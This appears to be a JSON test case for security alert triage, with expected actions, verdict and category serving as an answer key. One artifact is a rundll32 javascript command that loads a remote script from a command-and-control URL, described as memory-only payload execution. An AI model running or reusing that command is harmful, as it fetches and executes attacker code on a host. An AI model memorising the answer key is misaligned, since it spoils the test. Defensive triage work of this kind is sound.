{"playbook_version":2,"artifacts":[{"id":"artifact_1","type":"command","value":"rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write('<script src=http://legit-service.com/c2.js></script>');","is_critical":true,"osint_result":{"source":"Hybrid Analysis","verdict":"malicious","details":"Obfuscated command using rundll32 for memory-only payload execution"}},{"id":"artifact_2","type":"ip","value":"104.21.45.78","is_critical":true,"osint_result":{"source":"AbuseIPDB","verdict":"malicious","details":"IP linked to C2 communications via legitimate service abuse"}}],"expected_actions":["isolate_host","block_ip","collect_forensics"],"expected_verdict":"true_positive","expected_category":"malware","analysis_notes":"The use of legitimate services for command and control indicates an attempt to blend in with normal traffic."}